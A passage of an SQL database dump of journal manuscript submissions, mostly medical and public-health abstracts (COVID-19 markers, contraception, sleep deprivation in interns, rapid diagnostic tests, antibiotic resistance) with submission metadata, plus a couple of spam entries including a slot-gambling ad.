four groups each having six rats. Group I served as carrageenan control group and received carrageenan only. Group II received aqueous plant extract (200mg/kg), Group III received aqueous plant extract (400mg/kg) and Group IV received Indomethacin (10 mg/kg, p.o). Paw volume was measured using digital Plethysmometer at 1, 2, 3 and 4hr. Percentage inhibition of paw edema of each group were determined.  The oral administration of 200mg/kg, 400mg/kg of the plant extract significantly (p < 0.05) inhibited inflammatory response induced by carrageenan in rats in a dose related manner. The most prominent inhibition was recorded for 400 mg/kg (45.45%) at 4hr of study while standard indomethacin showed 67.80% at dose of 10mg/kg. The study shows that plant extract increase % inhibition in paw volume of rats.  Plant extract have various phytoconstituents which may be responsible for anti-inflammatory activity but further investigation are required to isolate bioactive compounds to prove anti-inflammatory effect of plant. \r\n','Anti-inflammatory activity, Malvastrum tricuspidatum, Carrageenan, Indomethacin.\r\n',2231,NULL,'2022-05-19',NULL,'Submitted',2,NULL,'2022-11-04',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12788,13029,277,0,'ipadm-22-12788','Hemoglobina glicosilada y su papel como marcador de mortalidad en neumonía severa por COVID-19.',NULL,19,0,'','Desde el inicio de la pandemia por covid-19 en 2020, se ha estado investigando diversos aspectos para predecir el pronóstico de esta enfermedad, entre ellos la hemoglobina glicosilada (HbA1c).  la hemoglobina glicosilada ha sido estudiada como valor pronóstico de distintas enfermedades,  inicialmente la diabetes, problemas cardiovasculares, diabetes gestacional y en la actualidad la neumonía por covid-19, la HbA1c ha resultado útil para prevenir y predecir las posibles complicaciones y el riesgo de muerte en pacientes con covid-19 se ha descrito que en pacientes con valores de hemoglobina glicosilada  mayor del 7% tienden a padecer  un mayor riesgo, pronóstico severo, neumonía y muerte por covid-19, anotando así que la HbA1c puede resultar útil como factor pronóstico de severidad y mortalidad en pacientes con mal control glicémico y neumonía por Covid -19','hemoglobina glicosilada, Covid 19, pronóstico, HbA1c',2805,NULL,'2022-05-20',NULL,'Submitted',2,NULL,'2022-06-23',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12789,9267,45,0,'iphsj-22-12789','DETERMINING FACTORS FOR THE CHOICE OF A CONTRACEPTIVE METHOD IN AN ADOLESCENT POPULATION IN COLOMBIA',NULL,15,0,'','INTRODUCTION: In Colombia, teenage pregnancy has become a public health problem in recent decades due to its tendency to increase in the general population of adolescents. In the country there have been few studies focused on identifying the level of knowledge, use and determinants for the choice of contraceptive methods focused on the prevention of teenage pregnancy. MATERIALS AND METHODS: An analytical cross-sectional study was carried out through a questionnaire that was applied to 200 adolescents from a population in a municipality in Colombia. RESULTS: It was found that oral contraceptives is the method that adolescents know the most and use the most, followed by injections. Avoiding pregnancies, protecting against STIs, and regulating menstrual periods are the most important reasons to use birth control. While the most important reasons for not choosing the pill was having to remember its use every day. In the case of the implant, the fear and pain of placing and removing it was the most important reason. CONCLUSIONS: Although effectiveness and long-term use can be very important advantages when choosing a contraceptive method, the fear of pain and insertion make long-lasting methods such as implantation and intrauterine devices less attractive to adolescents.','Contraceptives, pregnancy, adolescents, pills.',5386,NULL,'2022-05-21',NULL,'Submitted',2,NULL,'2022-06-04',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12790,9267,45,0,'iphsj-22-12790','EFFECTS OF MALNUTRITION ON DEVELOPMENT',NULL,15,0,'','Nutritional status is a determinant of health, therefore, all the factors that interfere with it will directly affect the well-being of any human being. In third world countries, the population tends to exceed the limits of food both downwards and upwards which probably has important implications at a general level within the human body. Among them, malnutrition, a public health problem, is considered a disease that interferes with and hinders the life and opportunities of those who are undernourished. Review articles and originals have concluded in a very radical way that nutrition during the early stages of life will tangentially affect both neurological development in the infant and in adult life, which is why the revision of this topic becomes important.','malnutrition, neurodevelopment, pshycomotor development, pregnant.',3824,NULL,'2022-05-21',NULL,'Submitted',2,NULL,'2022-06-06',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12791,13021,667,0,'iptb-22-12791','Covid Pandemic : Where we stand now',NULL,15,0,'','Covid has affected  life in many ways. Digitalisation, home based therapy and isolation, artificial intelligence, robotics, type of food that we consumed, our work, personal relations, it has touched every aspect of life and changed the dimensions and perspective to life. This article explores the nitty gritty of covid pandemic, its types, vaccines, diagnosis, prevention, management, self help strategies to get a wider perspective of the disease and for staying safe.','technology, covid, lifestyle, change',4092,NULL,'2022-05-21',NULL,'Submitted',2,NULL,'2022-08-30',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12793,9267,45,0,'iphsj-22-12793',' LACK OF SLEEP AND ITS REPERCUSSION ON ROTATING MEDICAL INTERNS AT THE PABLO ARTURO SUÁREZ GENERAL HOSPITAL 2017 AND 2018',NULL,14,0,'','Abstract: Sleeping, resting, is a complex physiological process, but which, however, is extremely important for our body to function properly, both in structural and functional terms, as well as in our interaction with the external environment Introduction: In Ecuador As surely in many hospitals in Latin America, especially public ones, the demands placed on rotating interns are extremely high. These demands lead to sleep deprivation and therefore to their rest. This deprivation generates alterations in the correct functioning of the organism and also leads to behavioral alterations that are detrimental to patient care. Materials and Methods: A descriptive study was carried out, using a questionnaire with 6 closed questions as a tool. Said questionnaire was distributed and carried out digitally by 76 rotating interns of the Pablo Arturo Suárez General Hospital between 2017 and 2018. Results: It was shown that 70% of the rotating medicine interns felt more tired between 00:00-03:00: 00 am, 15% between 03:00-04:00 am, 6% between 06:00 am and 12:00 pm and finally 6% answered between 12:00-18:00 pm. No inmate reported feeling affected between 04:00 – 06:00 am. When asked how many hours are needed to partially recover, it was shown that 42.9% required at least 3 hours of sleep, 42.9% 2 hours, 3.6% 1 hour, 3.6% 45 minutes and finally 7.1% 30 minutes. According to the survey, the services where a greater condition due to lack of sleep was evidenced were Neonatology with 42%, Emergency with 27%, Surgery with 24% and Internal Medicine with 6%. When it was investigated which services generated a greater occupation time diversified by service, it was evidenced that emergency and gynecology were the least monotonous with 25% and 21%, while the most monotonous were surgery 14% and neonatology 4% respectively. We also observed that the use of mechanisms to reduce sleep during shifts were frequent, among them: Sweets: 27%, Music: 24%, Coffee: 24%, Stimulating drinks other than coffee: 18%, medicine 3%, Nothing: 3%; 48% answered that the various methods used help partially, 38.7% mentioned that they do not help and 12% answered that they do help Conclusions: Lack of sleep and with it the lack of rest in rotating interns affects their health, but also his actions and behavior with patients. It is important to reduce the working day, improve the treatment of rotating interns, diversify their tasks and perhaps facilitate activities or resources that improve their status and performance.','Sleep; Medical; Interns',687,NULL,'2022-05-21',NULL,'Submitted',4,NULL,'2022-06-06',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12794,13030,277,0,'ipadm-22-12794','ENDOCARDITIS POR STREPTOCOCCUS EQUI.  UN CASO CLINICO.',NULL,2,0,'','Streptococcus equi  un estreptococo b-hemolitico del grupo C de Lancefield identificada por primera vez en 2004 es una subespecie. zooepidemicus  poco frecuente en humanos, a diferencia de otros estreptococo sp  este agente gram negativo se considera comensal normal del tracto respiratorio equino y generalmente se asocia con algunas enfermedades. El   Streptococcus equi es capaz de evadir  los fagocitos, esto se asocia específicamente a una capsula de ácido hialuronico y proteínas de superficie.los antígenos de superficie celular contribuyen a la virulencia y pueden ayudar al diagnóstico serológico, el primer caso de infección humana se reporto en el año 2007,  reportamos un paciente masculino de 69 años previamente sano que ingreso al servicio de urgencia con síntomas neurológicos de hemiparesia somnolencia con necesidad de ventilación mecánica con fiebre escalofríos , que enhemocultivos se obtuvo  crecimiento a las 20 horas de  Streptococcus equi, se interrogo a los familiares contacto con leche no pasteurizda , se roto manejo a penicilina cristalina guiada por cultivos , se realizo ecocardiograma que mostro imagen sugestiva de vegetación redondeada de 4 cm2 de área, adherida al velo anterior de la válvula mitral. Posteriormente el   paciente se tornó inestable hemodinámicamente, con requerimiento de soporte vasopresor a dosis crecientes, falleciendo.','',2805,NULL,'2022-05-22',NULL,'Submitted',2,NULL,'2022-06-23',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12795,9267,45,0,'iphsj-22-12795','CHARACTERIZATION PATIENTS WITH JUVENILE MYASTHENIA GRAVIS FROM A REFERENCE UNIVERSITY HOSPITAL IN COLOMBIA.',NULL,14,0,'','INTRODUCTION: Juvenile myasthenia gravis (JGM) is a rare entity, about which there is not enough information. This pathology has its own characteristics and a recognized demographic variability. The consequences of not being diagnosed and treated in time can be serious and its treatment is based on what has been observed in adults.\r\nOBJECTIVE: To characterize sociodemographically and clinically the population of children diagnosed with MGJ in a reference university hospital in Colombia.\r\nMETHODOLOGY: Retrospective observational study, in which the medical records of hospitalized patients at the Hospital Universitario San Vicente Fundación (HUSVF) in the city of Medellín, Colombia, from January 2011 to December 2017 were analyzed.\r\nRESULTS: The medical records of 23 patients (14 women) were included. The mean age of onset was 9.1 years. 15 (65.2%) were in the prepubertal period. The type of ocular myasthenia was the most frequent, mainly in prepubertal patients. The myasthenic crisis (MC) occurred in 5 patients (21.7%), predominantly in postpubertal patients. A significant difference was found between the age group and the type of presentation; and a tendency to present psychiatric disorders according to sex and age.\r\nCONCLUSIONS: For the authors\' knowledge, this is the first characterization study of patients with MGJ in Colombia. The diagnosis was made mainly in prepubertal patients, and the female sex was more affected in both age groups. Similar to what was found in other latitudes, the ocular type appeared more frequently. The proportion of patients with MC was higher than reported. In this study, it was found that belonging to the prepubescent group can increase the risk of presenting MGO. Autoimmune comorbidity was not frequent, and the performance of the different diagnostic aids is good. The guidelines and management lines conform to the recommendations given, however more studies and a sample size of more significant drugs are needed.','Acetylcholine, immunosuppressants, autoimmune disease, neuromuscular disease, myasthenia gravis, thymectomy.',689,NULL,'2022-05-22',NULL,'Submitted',2,NULL,'2022-06-08',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12796,13031,45,0,'iphsj-22-12796','Evaluation of a Rapid in vitro Diagnostic Test Device for HIV 1.2 Rapid Test Kits',NULL,14,0,'','Objective\r\nThe aim of this evaluation report was to explore the reliability and performance of the All Test HIV 1.2 Rapid Test Kits for the qualitative detection of antibodies to Human Immunodeficiency Virus type 1 (HIV-1) and type 2 (HIV-2) in serumorplasma to aid in the diagnosis of HIV infection. Method\r\nRun a rapid in vitro diagnostic test device for detection of HIV 1.2 Rapid Test Kitsin Serum or Plasma and compare to a leading commercial ELISA HIV test usingclinical specimens for validation of the performance. Results\r\nThe results show that the relative sensitivity of the HIV 1.2 Rapid Test Kits inSerum or Plasma is >99.9% and the relative specificity is 99.8%. Conclusion\r\nThe HIV 1.2 Rapid Test Kits (Serum/Plasma) is a rapid test to qualitatively detect\r\nthe presence of antibodies to HIV-1 and/or HIV-2 in serum or plasma specimens. The test utilizes latex conjugate and multiple recombinant HIV proteins to selectively detect antibodies to the HIV 1.2 in serum or plasma[3]','Human Immunodeficiency Virus, HIV, Rapid Test, infectious Disease',4076,NULL,'2022-05-23',NULL,'Submitted',2,NULL,'2022-06-06',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12797,13032,971,0,'ipaclr-22-12797','Further perspective on the need for medical Innovation and data overload from a laboratory results viewpoint ',NULL,17,0,NULL,'Laboratory results are essential and highly utilized tools in the practice of medicine in all care settings. To improve decision-making over the years more and more tests are done by patients. Some of the tests provide full decision-making without a healthcare provider e.g., in the case of diabetics and continuous glucose monitors (CGMs) (Damiano et al. 2014) and their predecessors, the fingertip glucose measures that are used frequently to establish insulin shot dosage; in the more modern tools, urine dipstick analysis, obtained at most prenatal visits is done via a kit where the dipstick is analyzed using a standard smartphone via a designated mobile application','Analytical Quality, Physician, Hemoglobin for Anemia, Red Blood Count(RBC),  Mean Corpuscular Hemoglobin (MCH)',3249,NULL,'2022-05-23',NULL,'Submitted',2,NULL,'2022-09-19',NULL,1,1,'0','Accept Without Changes',0,NULL,NULL,NULL,0,0,0,NULL,0),(12798,9267,45,0,'iphsj-22-12798','THE LACK OF SLEEP AND ITS IMPACT ON THE ROTATING MEDICAL INTERNS OF THE PABLO ARTURO SUÁREZ GENERAL HOSPITAL 2017- 2018',NULL,14,0,'','Summary: Sleep, rest, is a complex physiological process, but that, however, is extremely important for our body to function properly, both in structural and functional terms, as well as in our interaction with the environment Introduction: In Ecuador, as surely in many hospitals in Latin America, especially public, the demands on rotating inmates are extremely great. These demands lead to sleep deprivation and therefore sleep rest. This deprivation generates alterations in the correct functioning of the organism and also entails behavioral alterations that are detrimental to the attention of patients Materials and Methods: A descriptive study was carried out, using as a tool a questionnaire of 6 closed questions. This questionnaire was distributed and carried out digitally by 76 rotating inmates of the Pablo Arturo Suárez General Hospital between 2017 and 2018.  Results: It was evidenced that 70% of the rotating medical inmates felt more tired between 00:00-03:00 am, 15% between 03:00-04:00 am, 6% between 06:00 am and 12:00 pm and finally 6% responded between 12:00 – 18:00 pm. No inmates reported feeling affected between 04:00 – 06:00 am. When it was inquired about how many hours are necessary to partially recover, it was evident that 42.9% required at least 3 hours of sleep, 42.9% 2 hours, 3.6% 1 hour, 3.6% 45 minutes and finally 7.1% 30 minutes.  According to the survey, the services where a greater affection was evidenced by lack of sleep were Neonatology with 42%, Emergency in 27%, Surgery in 24% and Internal Medicine in 6%.  When it was indicated which services generated a greater time of diversified occupation per service, it was evident that emergency and gynecology were the least monotonous with 25% and 21%, while the most monotonous were surgery 14% and neonatology 4% respectively. \r\nWe also observed that theulization of mechanisms to reduce sleep during the guards were frequent, among them: Sweets: 27%, Music: 24%, Coffee: 24%, Drinks andstimulantsother than coffee: 18%, medicine 3%, nothing: 3%;  48% answered that the various methods used partially help, 38.7% mentioned that they do not help and 12% answered that they do help Conclusions: Lack of sleep and with it the lack of rest in rotating inmates affects their health, but also their action and behavior with patients. It is important to reduce the working day, improve the treatment of rotating inmates, diversify their tasks and perhaps, facilitate activities or resources that improve their status and performance.','lack of sleep, impact, internal doctors, rotation.',5385,NULL,'2022-05-24',NULL,'Submitted',2,NULL,'2022-06-07',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12799,13035,73,0,'ipjnn-22-12799','The current place of surgical interventions for the management of trigeminal neuralgia',NULL,15,0,'','Purpose of review: To investigate the current evidence base and clinical indications for various surgical procedures in the management of trigeminal neuralgia (TN). This review is pertinent with the current focus of the health sector to reduce polypharmacy, drug dependence and improve quality of life for chronic pain sufferers. \r\nRecent findings: The current review outlines the various peripheral, central, ablative and non ablative surgical techniques that have been employed. Clinical outcomes with success rates, recurrence rates are discussed. More importantly, we noted downwards trend of morbidity and mortality of surgical complications over the last decade. \r\nSummary: Surgical interventions have a place in the management of TN, and orofacial pain specialists should at least be familiar with them and be able to provide rational advice to patients. Surgical treatments divide into two main categories: ablative (destroying the nerve) or non-ablative (preserving nerve function and relieving the pressure on the nerve). Prognostic factors have evolved to favour diagnostic accuracy, older patients, and non-ablative surgery i.e., microvascular decompression. ',' trigeminal neuralgia, surgical management, microvascular decompression, percutaneous rhizotomy ',4796,NULL,'2022-05-25',NULL,'Submitted',2,NULL,'2022-06-16',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12803,13039,975,0,'ipjbs-22-12803','Automated Breast mass classification system using Deep learning and ensemble learning in digital mammogram',NULL,14,0,'','Breast cancer is one of the most highly invasive malignancies \r\ntumors that occurs in women and rarely in men . It is examined the \r\nworst cancer after lung cancer due to the higher death rate in \r\nwomen. Every year number of death is increasing extremely \r\nbecause of breast cancer. It is the most often type of all cancers and \r\nthe major cause of death in women worldwide. Any development \r\nfor prediction and diagnosis of cancer disease is most important for \r\na healthy life. Accordingly, high accuracy in cancer prediction is \r\nimportant to update the treatment aspect and the survivability \r\nstandard of patients. Breast mass classification systems are \r\nimplemented using deep learning technologies such as a \r\nConvolutional Neural Network (CNN). CNN based systems have \r\nattained higher performance than the machine learning-based \r\nsystems in the classification task of mammography images. The \r\nobjective of this project is to collect and train the dataset, to predict \r\nthe survival of patients with breast cancer. Based on the results, we \r\ncan compare the performance of both ML and DL process (we \r\nimplemented). To get the best model which is suitable for breast \r\ncancer detection.\r\n','Breast Cancer, Deep learning, Machine learning, CNN, Mammogram',4089,NULL,'2022-05-29',NULL,'Submitted',4,NULL,'2022-06-30',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12804,9267,45,0,'iphsj-22-12804','FETUS IN FETU.',NULL,2,0,'','The fetus in fetus (FIF) is a rare congenital pathology with less than 200 cases reported in the literature worldwide, in which a pregnancy with monozygotic twins one of them develops normally, while the other atrophies and it is inside the developed twin. The most frequent location is retroperitoneal, however, multiple cases have been described in the sacrum, mediastinum, skull and neck. We present a case of a 17-day-old female patient diagnosed with a congenital abdominal mass. After the extraction, an anatomopathological analysis was performed. There were multiple limbs, vertebral column, anencephalic cranial cavity, and the diagnosis of FIF was concluded.','Fetus in fetu, Pediatric surgery, Retroperitoneal, Teratoma.',295,NULL,'2022-05-30',NULL,'Submitted',14,NULL,'2023-03-01',NULL,1,1,'1','great',0,NULL,NULL,NULL,0,0,0,NULL,0),(12807,13031,45,0,'iphsj-22-12807','Evaluation of a Rapid in vitro Diagnostic Test Device for Detection of Dengue IgG/IgM and NS1 in Whole Blood/Serum/Plasma',NULL,14,0,'','Objective \r\nThe objective of this evaluation report was to determine the reliability and performance of the AllTest Dengue Combo Rapid Test Cassette, which is a qualitative test for the detection of NS1 antigen, IgG and IgM antibodies of Dengue virus in human whole blood, serum or plasma.\r\n\r\nMethod\r\nRun a rapid in vitro diagnostic test device for detection of Dengue IgG/IgM and NS1 in Whole Blood/Serum/Plasma whose clinical samples were compared with the leading commercial ELISA test for Dengue IgG/IgM and NS1 to verify its performance.\r\n\r\nResults\r\nThe results demonstrated that the relative sensitivity of the Dengue NS1 Rapid Test Cassette (Whole Blood/Serum/Plasma) was 95.8%, and the relative specificity was 96.1%. The overall relative sensitivity for the primary and secondary infection of the Dengue Rapid Test (Whole Blood/Serum/Plasma) was 94.3%, the relative specificity was 99.1%, and the relative accuracy was 98.3%.\r\n\r\nConclusion\r\nThe Dengue Combo Rapid Test Cassette (Whole Blood/Serum/Plasma) is a rapid chromatographic immunoassay for the qualitative detection of NS1 antigen, and IgG and IgM antibodies of Dengue virus in human whole blood, serum or plasma. The   test utilizes a combination of NS1 antigen, IgG and IgM antibodies of the Dengue virus in human whole blood, serum or plasma.','Dengue virus; NS1 Antigen Test; IgG and IgM Antibody Test',643,NULL,'2022-06-01',NULL,'Submitted',14,NULL,'2023-05-08',NULL,1,1,'1','ready',0,NULL,NULL,NULL,0,0,0,NULL,0),(12808,13042,45,0,NULL,'Saya mau boya ff',NULL,24,0,'Saya mau boya ff ','Bang tolong saya mau sultan ff Garena','Wes bisal la ',5389,NULL,'2022-06-02',NULL,'Submitted',4,NULL,'2022-06-03',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12809,13041,251,0,NULL,'Prevalence of multidrug-resistance pathogens isolated from wound infection patients visiting Combined Military Hospital (CMH) Peshawar, Pakistan',NULL,14,0,'','ABSTRACT\r\nAims: The purpose of this study was to find out the prevalence of various bacterial microbes and their antibiotic susceptibility in different sorts of wound contaminations.\r\n Methodology: A total of 200 pus samples were collected from patients of all genders and ages for six months. These samples were examined to observe the antibiotic susceptibility having significant growth of pyogenic bacteria. The samples were inoculated on MacConkey agar media, Blood agar, and Chocolate agar media for primary identification of pyogenic bacteria such as Pseudomonas spp, S.aureus, E.coli, Klebsiella spp, Enterococcus spp. After growth colonies were presumably identified according to colony formation, pigmentation, elevation, and margins. After that, the presumed isolates were further tested for further confirmation. The isolates were then examined through biochemical tests for instance MIU (Motility Indole Urea) test, TSI (Triple Sugar Iron) test, Citrate utilization test, Coagulase test, and Oxidase, the bacterial growth was then subjected to MHA media to detect the sensitivity/susceptibility of antibiotics using antibiotics discs.\r\nResults: This study depicted that 64% of men are more infected than women 36%. Among infectious agents, S.aureus (30%) was the most prevalent. E.coli24% Pseudomonas24% Klebsiellaspp.10%Streptococcus4%&Proteus spp 3%Acinetobacter spp. 3% and Enterococcus 2% were the least prevalent. And the minimum number of candida spp 0.83% was also detected.  Mostly the Gram-positive bacteria were resistant against the Cephalosporin group and were sensitive against the Carbapenem group for instance  Cefixime 92% and Ceftazidime 94% were extremely resistant to Staph. aureus. In Enterococcus spp Imipenem was 20% and Meropenem was 80%. On the contrary, the Gram-negative bacteria Acinetobacter, Pseudomonas spp, and E.coli depicted high resistance to the antibiotics.\r\nConclusions: Prevalence of MDR to antibiotics that were not resistant to pathogenic species decades ago was found to be emerging gradually into an alarming situation which is most likely due to the excessive usage, partial medication, and self-medication along with the other factors.','MDR (Multi-Drug Resistance), MHA (Mueller Hinton Agar), TSI (Triple Sugar Iron), MIU (Motility Indole Urease). A (Acidic) K (Akaline).',783,NULL,'2022-06-02',NULL,'Submitted',4,NULL,'2022-08-16',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12810,13044,45,0,NULL,'Simba4d Slot Pragmatic Tergacor se indoensia',NULL,11,0,'','simba4d merupakan situs pragmatic play paling gacor 2022, dengan berbagai bonus dan RTP terbaik. Menjadikan simba4d situs paling gacor seindoensia','simba4d, simba777, slot gacor, rtp simba',3273,NULL,'2022-06-02',NULL,'Submitted',4,NULL,'2022-06-03',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12811,13021,667,0,'iptb-22-12811','Nonalcoholic fatty liver disease – An update on biomarkers and disease severity',NULL,14,0,'','Non alcoholic fatty liver disease is a chronic liver disease with prevalence 9-40 percent in different areas of the world. It is estimated that it will become the most common cause for liver transplantation in the coming years. The major causes implicated for fatty liver who consume no or minimal alcohol are toxins environmental like carbon tetrachloride, ethionine, hepatitis B and C, chemicals like insecticides, pesticides, excess fat diet or defective nutrition like protein deficiency, essential nutrient deficiency like vitamin B 12, choline, methionine. In this research biochemical parameters like fasting glucose, insulin, Kidney function tests, liver function tests, lipid profile, serum electrolytes, total proteins and albumin, LDH and others were measured. Two novel biomarkers Adiponectin and Leptin were also measured with Enzyme linked immunosorbent assay. The extent and severity of these biochemical markers were statistically correlated with fibroscan, an established imaging study of liver which quantifies the extent of fatty infiltration called steatosis expressed in kilopascals and controlled attenuated parameters CAP expressed in decibels per meter. The study showed that there may be a correlation of these parameters with disease severity especially of Adiponectin. It may also be used as a therapeutic target in NAFLD.','NAFLD, NUTRITION, BIOMARKERS, SEVERITY',3933,NULL,'2022-06-04',NULL,'Submitted',2,NULL,'2022-08-30',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12812,13045,85,0,'iphspr-22-12812','French Administrative Reforms, Democratic Recess, and Social Demotion',NULL,11,0,'','Healthcare has been a quite neglected issue in the French political debate, as the government responded to other more pressing citizens’ demands for public housing, urban planning, and employment. The article discusses changes in the French healthcare sector that questioned France’s ability to handle public health emergencies. Reforms shook the entire health system and affected its governance and accounting. The financialization of the health system, the verticalization, and the re-concentration of policy decisions led the government to play the role of an incentivizer and the patient that of overseers of reforms. However, outcomes were below expectations on many dimensions. Reforms could not address key health emergencies, including the rise of the medically underserved areas, the shortage of hospital beds, and the already long patients’ waiting lists. ','France; Administrative Reforms, New Public Management; Public Sector Reform; Diagnostic Related Groups',3242,NULL,'2022-06-05',NULL,'Submitted',2,NULL,'2022-09-01',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12813,13046,73,0,NULL,'Inflammation mediated alterations in the iron homeostasis of Eales’ Disease',NULL,14,2,'Psychology and Neurology Interaction between mental health and technology use','Eales’ Disease is an idiopathic retinal periphlebitis, characterized by recurrent vitreous hemorrhage, neovascularization and inflammation. The disease distresses the retina of adult males between 15 and 45 years. In the present study proteins involved in iron homeostasis were assessed in serum and peripheral blood mononuclear cells.','Eales’ Disease, periphlebitis, Homeostasis',327,NULL,'2022-06-06',NULL,'Submitted',19,NULL,NULL,NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(12814,13049,251,0,'ipacm-22-12814','6-year retrospective study of hydatid cyst in Ahvaz hospitals from 2013-2019',NULL,5,0,'',' Background and purpose: Hydatid cyst is a common parasitic disease between humans and animals. Hydatid cyst disease is the most widespread and serious human cestode infection in the world and Iran is located in the hyperemic region in terms of the prevalence of this disease.\r\nMaterials and Methods: The files of 94 patients who underwent hydatid cyst resection in Ahvaz hospitals from the years 2013 to 2019 were collected and classified based on age, sex, ethnicity, number, location of cysts, occupation, and place of residence. SPSS statistical programs were evaluated.\r\nResults: Out of 94 patients: 48 were female (51%) and 46 were male (49%). Based on age, patients were sorted from 17 to 82 years. The mean age of patients was 47 years. In terms of the number of cysts: 91.4% had one cyst, 7.5% had two cysts and 1.1% had three cysts. In terms of cyst location: The largest location of the cyst was in the liver tissue. There was no significant difference between hydatid cyst and gender, occupation, and ethnicity.\r\nConclusion: In this study, it was observed that hydatid cysts can affect anywhere in the human body, but most cases are found in the liver and lungs. At present, surgery for hydatid cysts in humans is the only basic way to cure the disease, but this disease can be easily prevented by preventing the unsanitary slaughter of animals, controlling the number of stray dogs, continuous treatment of herding dogs, preventing stray dogs from entering agricultural lands, and Public education to prevent and control this disease can be prevented.\r\n',' Retrospective study, hydatid cyst, Ahvaz hospitals',3160,NULL,'2022-06-07',NULL,'Submitted',2,NULL,'2022-07-29',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12815,13050,251,0,'ipacm-22-12815','Crisis of Antibiotic Resistance, Methodologies for Management: A Review ',NULL,5,0,'','Antibiotic resistance is now become a major concern for many organizations and scientists. The resistance is developed in most of the pathogens we cannot undo that but what we can is use the strategies to combat and prevent further resistance which includes stewardship programs, proper prescriptions, dosages and antibiotics use. Also developing new agents for fighting the pathogens are now been developing and some are already approved by various organizations i.e., CDC. Here different management techniques are discussed and what are new antibiotic agents available in the market.','PCR, Real- Time PCR, Pox viruses, Monkey pox',783,NULL,'2022-06-09',NULL,'Submitted',2,NULL,'2022-07-29',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12818,13055,975,0,'ipjbs-22-12818','Strengthening Community Clinics of Bangladesh through Telemedicine & Interconnected Medical Facilities',NULL,14,2,'','Our main aims to strengthen community clinics and improve healthcare services in rural areas of Bangladesh. Within a 20 to 30-minute walk, a person will receive primary health care, and no one will be deprived of access to services and this was the clinic\'s primary purpose [1]. The community clinic has gained a reputation as a model, but its purpose has not been fully satisfied. Various domestic and foreign studies have identified the successes and limitations of community clinics. Efforts are being made to remove the limitations gradually.\r\nWe proposed a model of community clinics for improving the health care system of these clinics. This model can provide a concept for establishing community clinics under an integrated Upazila health system and District health system besides ensuring quality primary health care to the rural population of Bangladesh, especially the poor, marginalized, and destitute people. Demonstrating an effective linkage of community clinics with healthcare structures at Union, Upazila, and District levels in need of exceptional health problem management.\r\n','E-Service, Telemedicine, ECG, Ultrasound, Basic Analyzer, Community Clinics.',4089,NULL,'2022-06-14',NULL,'Submitted',19,NULL,'2022-08-02',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(12819,13056,975,0,'ipjbs-22-12819','A review on smallpox',NULL,5,0,'','Smallpox is an infectious disease. The virus that causes smallpox belongs to the poxvirus family, the genus orthopoxvirus, and the species variola virus. High fever, chills, vomiting, stomach discomfort, headache, back pain, and progressive rashes on the whole body are all symptoms of this infection. This disease shows a mortality rate of 2% or less. This virus spreads from natural disasters and some climatic conditions. It is host-specific to man and evenly distresses humans of all ages. This disease is considered the first infectious disease which was eradicated successfully from all over the world. In 1980, WHO declared the eradication of smallpox from the world. Variola was taken as a biological weapon in world-famous wars as well. The mode of transmission for smallpox is direct contact with lesions or through airborne respiratory droplet secretions. Vaccinations eradicate this disease.','Smallpox, Infectious disease, Poxvirus family, orthopoxvirus',4089,NULL,'2022-06-16',NULL,'Submitted',2,NULL,'2022-07-26',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(12820,13057,277,0,'ipadm-22-12820','Enfermedad Renal Diabética, Estado del arte.',NULL,15,0,'','La ERD es una de las complicaciones microvasculares que más impactan en el pronóstico de los pacientes con diabetes mellitus y la principal causa de enfermedad renal terminal. La incidencia de la ERD se ha duplicado en la última década debido al aumento de casos de diabetes tipo 2, En la actualidad se estima que cerca del 25-35 % de quienes son diagnosticados con diabetes tipo 2 ya tienen complicaciones microvasculares. Conocer los aspectos fisiopatológicos involucrados y las nuevas alternativas terapéuticas probablemente se traduzca en una mejor atención y tratamiento adecuado para estos pacientes con disminución en la morbilidad y mortalidad.','Diabetes, Enfermedad Renal Crónica, proteinuria.',5390,NULL,'2022-06-16',NULL,'Submitted',2,NULL,'2022-08-19',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12822,13043,86,0,'ipaom-22-12822','Determinants of Health-Seeking Behaviour Among Enrollees of a Social Health Insurance Scheme in Anambra State, Southeast, Nigeria',NULL,14,0,'','Background: Understanding factors that explain the health-seeking behaviour (HSB) among enrollees of Anambra State Health Insurance Scheme (ASHIS) is a critical entry point for improving health outcomes and achieving universal health coverage (UHC). \r\nAim: To assess the socio-demographic and health facility determinants of health-seeking behaviour among the enrollees of ASHIS in Anambra State, Nigeria.\r\nSubjects and methods: A cross-sectional health facility-based survey involving enrollees of the ASHIS. A total of 447 enrollees were randomly selected from 12 (6 rural and 6 urban) facilities using a multi-stage sampling method. Data was collected on socio-demographics and facility characteristics using a pre-tested, interviewer-administered questionnaire.\r\nStatistical analysis: The data was analyzed using SPSS version 25. Descriptive data were expressed as mean and proportions. Fisher’s exact test was computed to determine the association between dependent and independent variables. Statistical significance was set at a p-value of <0.05. \r\nResults:  The mean age of respondents was 42 ± 13.5 years. The overall appropriate change in the HSB among the enrollees since they commenced accessing care under ASHIS was 76%. Majority (96.6%) of them now take prompt action 